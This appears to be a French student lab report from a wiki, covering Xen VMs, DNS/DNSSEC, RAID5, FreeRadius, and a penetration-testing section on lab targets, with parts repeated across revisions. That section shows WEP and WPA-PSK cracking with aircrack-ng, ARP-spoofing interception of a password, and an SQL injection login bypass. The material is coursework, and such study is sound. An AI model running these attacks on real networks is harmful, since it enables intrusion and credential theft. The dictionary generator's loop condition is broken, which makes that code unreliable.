ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...
[OK]

TP sysres IMA2a5 2020/2021 G7

2020-12-15T14:20:33Z

Lchenu : /* Cassage de mot de passe WPA-PSK par force brute */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2 //0 sauvegarde et 2 place
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid //Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2
Pour le prise en compte ces modifications, on attend de 12 à 24h.

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent.

Je visualise cracotte07 dans la liste pour ses informations.
root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC
root@zabeth09:~# ./dico > dico.txt
root@zabeth09:~# scp dico.txt zabethxx

Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.

Je considère la sécurisation de mes données de VM atteinte.

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...
[OK]

TP sysres IMA2a5 2020/2021 G7

2020-12-15T14:16:45Z

Lchenu : /* Cassage de mot de passe WPA-PSK par force brute */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

